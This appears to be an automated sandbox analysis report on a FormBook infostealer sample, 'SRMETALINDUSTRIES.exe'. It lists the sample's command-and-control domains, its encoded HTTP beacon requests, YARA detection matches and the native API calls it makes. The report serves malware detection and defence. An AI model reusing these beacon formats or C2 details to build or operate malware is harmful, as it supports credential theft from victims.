Source: C:\Windows\explorer.exe	Network Connect: 44.227.65.245 80
Source: C:\Windows\explorer.exe	Domain query: www.nordicbatterybelt.net
Source: C:\Windows\explorer.exe	Network Connect: 185.215.4.13 80
Source: C:\Windows\explorer.exe	Network Connect: 165.73.84.33 80
Source: C:\Windows\explorer.exe	Domain query: www.advindustry.com
Source: C:\Windows\explorer.exe	Network Connect: 185.134.245.113 80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.nordicbatterybelt.net/n58i/

Source: Joe Sandbox View

ASN Name: AfrihostZA AfrihostZA

Source: global traffic	HTTP traffic detected: GET /n58i/?fD=F+G31dedRh6HLTd+ecIv/qGaPc+OF0rVpdWlg5lJjBXzRtzoveZeEYo5TUAR7GVYQJUOwMAABw==&7nVT9d=P6AhC8Yh4LuLMhK0 HTTP/1.1Host: www.ifbrick.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /n58i/?7nVT9d=P6AhC8Yh4LuLMhK0&fD=unnhyE6s8wGaSGOfJAqqywl5AWsKat8KABC8TJyOz0JlXUzqDPtAwNp8gBEuIS9Csn5pfDFizQ== HTTP/1.1Host: www.integrity.directoryConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /n58i/?7nVT9d=P6AhC8Yh4LuLMhK0&fD=M2+dNbjF68Ecx6/kG0IjEvERphPYwrhl5ASQUZVNwgXuLMQcMfVPa3ABQDdZS66N8pSyWuXUWw== HTTP/1.1Host: www.nordicbatterybelt.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /n58i/?fD=PUNHIxjtOSFwkEXuacN/093UMB3LWAmrPV2Rldw+lO4ozANnbCtjpuKVlOTMjGDvzMsTPi3I2g==&7nVT9d=P6AhC8Yh4LuLMhK0 HTTP/1.1Host: www.starworks.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /n58i/?7nVT9d=P6AhC8Yh4LuLMhK0&fD=IQPyE+VrRvak8LK8nAdRdA+GXS2RT8iR9v4gvsbeLz4LfgOhT+qf8KqQA9G0pMp8GxoQ9RLGrw== HTTP/1.1Host: www.sashaignatenko.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 185.134.245.113 185.134.245.113

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 15 Sep 2021 07:44:35 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 315Connection: closeVary: Accept-EncodingX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: explorer.exe, 00000005.00000000.441229219.000000000095C000.00000004.00000020.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: svchost.exe, 00000009.00000002.614986708.0000000003AB2000.00000004.00020000.sdmp	String found in binary or memory: https://tilda.cc
Source: svchost.exe, 00000009.00000002.614986708.0000000003AB2000.00000004.00020000.sdmp	String found in binary or memory: https://www.domainnameshop.com/
Source: svchost.exe, 00000009.00000002.614986708.0000000003AB2000.00000004.00020000.sdmp	String found in binary or memory: https://www.domainnameshop.com/whois
Source: svchost.exe, 00000009.00000002.614986708.0000000003AB2000.00000004.00020000.sdmp	String found in binary or memory: https://www.domainnameshop.com/whois?currency=SEK&lang=sv
Source: svchost.exe, 00000009.00000002.614986708.0000000003AB2000.00000004.00020000.sdmp	String found in binary or memory: https://www.domeneshop.no/whois

Source: unknown

DNS traffic detected: queries for: www.hisensor.world

Source: global traffic	HTTP traffic detected: GET /n58i/?fD=F+G31dedRh6HLTd+ecIv/qGaPc+OF0rVpdWlg5lJjBXzRtzoveZeEYo5TUAR7GVYQJUOwMAABw==&7nVT9d=P6AhC8Yh4LuLMhK0 HTTP/1.1Host: www.ifbrick.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /n58i/?7nVT9d=P6AhC8Yh4LuLMhK0&fD=unnhyE6s8wGaSGOfJAqqywl5AWsKat8KABC8TJyOz0JlXUzqDPtAwNp8gBEuIS9Csn5pfDFizQ== HTTP/1.1Host: www.integrity.directoryConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /n58i/?7nVT9d=P6AhC8Yh4LuLMhK0&fD=M2+dNbjF68Ecx6/kG0IjEvERphPYwrhl5ASQUZVNwgXuLMQcMfVPa3ABQDdZS66N8pSyWuXUWw== HTTP/1.1Host: www.nordicbatterybelt.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /n58i/?fD=PUNHIxjtOSFwkEXuacN/093UMB3LWAmrPV2Rldw+lO4ozANnbCtjpuKVlOTMjGDvzMsTPi3I2g==&7nVT9d=P6AhC8Yh4LuLMhK0 HTTP/1.1Host: www.starworks.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /n58i/?7nVT9d=P6AhC8Yh4LuLMhK0&fD=IQPyE+VrRvak8LK8nAdRdA+GXS2RT8iR9v4gvsbeLz4LfgOhT+qf8KqQA9G0pMp8GxoQ9RLGrw== HTTP/1.1Host: www.sashaignatenko.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: SRMETALINDUSTRIES.exe, 00000000.00000002.356349661.0000000000B58000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 4.2.SRMETALINDUSTRIES.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SRMETALINDUSTRIES.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.611035350.0000000000E30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.422353517.0000000000F00000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.610962252.0000000000E00000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.386735863.0000000007648000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.401938701.0000000007648000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.610457709.0000000000590000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.422322216.0000000000ED0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.357083874.00000000037F9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.421818321.0000000000400000.00000040.00000001.sdmp, type: MEMORY

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 4.2.SRMETALINDUSTRIES.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.SRMETALINDUSTRIES.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.SRMETALINDUSTRIES.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.SRMETALINDUSTRIES.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.611035350.0000000000E30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.611035350.0000000000E30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.422353517.0000000000F00000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.422353517.0000000000F00000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.610962252.0000000000E00000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.610962252.0000000000E00000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.386735863.0000000007648000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.386735863.0000000007648000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.401938701.0000000007648000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.401938701.0000000007648000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.610457709.0000000000590000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.610457709.0000000000590000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.422322216.0000000000ED0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.422322216.0000000000ED0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.357083874.00000000037F9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.357083874.00000000037F9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.421818321.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.421818321.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

.NET source code contains very large strings

Show sources

Source: SRMETALINDUSTRIES.exe, Forms/mainForm.cs	Long String: Length: 38272
Source: 0.0.SRMETALINDUSTRIES.exe.3f0000.0.unpack, Forms/mainForm.cs	Long String: Length: 38272
Source: 0.2.SRMETALINDUSTRIES.exe.3f0000.0.unpack, Forms/mainForm.cs	Long String: Length: 38272
Source: 4.2.SRMETALINDUSTRIES.exe.8d0000.1.unpack, Forms/mainForm.cs	Long String: Length: 38272
Source: 4.0.SRMETALINDUSTRIES.exe.8d0000.0.unpack, Forms/mainForm.cs	Long String: Length: 38272

Source: SRMETALINDUSTRIES.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 4.2.SRMETALINDUSTRIES.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.SRMETALINDUSTRIES.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.SRMETALINDUSTRIES.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.SRMETALINDUSTRIES.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.611035350.0000000000E30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.611035350.0000000000E30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.422353517.0000000000F00000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.422353517.0000000000F00000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.610962252.0000000000E00000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.610962252.0000000000E00000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.386735863.0000000007648000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.386735863.0000000007648000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.401938701.0000000007648000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.401938701.0000000007648000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.610457709.0000000000590000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.610457709.0000000000590000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.422322216.0000000000ED0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.422322216.0000000000ED0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.357083874.00000000037F9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.357083874.00000000037F9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.421818321.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.421818321.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 0_2_04803198
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 0_2_0480342F
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 0_2_04803188
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 0_2_048061B8
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 0_2_04802EC8
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 0_2_04802ED8
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 0_2_048033EC
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 0_2_048033F8
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_00401030
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_0041B8DB
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_0041C136
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_0041D229
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_00408C6B
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_00408C70
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_00402D87
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_00402D90
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_00402FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F2B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F1FF1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0345EBB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03446E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F2EF7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F22AE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F1D55
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0342F900
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F2D07
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03420D20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03444120
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0343D5E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03452581
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034E1002
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0343841F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0343B090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034520A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034F20A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005AB8DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005AC136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005AD229
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00598C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00598C6B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00592D90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00592D87
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00592FB0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: String function: 0342B150 appears 35 times

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_004185D0 NtCreateFile,
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_00418680 NtReadFile,
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_00418700 NtClose,
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_004187B0 NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_004185CA NtCreateFile,
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_0041867C NtReadFile,
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_004186FB NtClose,
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4_2_004187AC NtAllocateVirtualMemory,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469710 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469FE0 NtCreateMutant,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469780 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469650 NtQueryValueKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469A50 NtCreateFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469660 NtAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034696D0 NtCreateKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034696E0 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469540 NtReadFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469910 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034695D0 NtClose,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034699A0 NtCreateSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469840 NtDelayExecution,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469860 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469760 NtOpenProcess,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469770 NtSetInformationFile,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0346A770 NtOpenThread,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469B00 NtSetValueKey,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0346A710 NtOpenProcessToken,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469730 NtQueryVirtualMemory,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034697A0 NtUnmapViewOfSection,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0346A3B0 NtGetContextThread,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469670 NtQueryInformationProcess,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469A00 NtProtectVirtualMemory,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469610 NtEnumerateValueKey,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469A10 NtQuerySection,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469A20 NtResumeThread,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469A80 NtOpenDirectoryObject,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469950 NtQueueApcThread,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469560 NtWriteFile,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469520 NtWaitForSingleObject,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0346AD30 NtSetContextThread,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034699D0 NtCreateProcessEx,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034695F0 NtQueryInformationFile,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0346B040 NtSuspendThread,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03469820 NtEnumerateKey,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034698F0 NtReadVirtualMemory,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_034698A0 NtWriteVirtualMemory,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005A85D0 NtCreateFile,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005A8680 NtReadFile,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005A8700 NtClose,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005A87B0 NtAllocateVirtualMemory,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005A85CA NtCreateFile,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_005A867C NtReadFile,
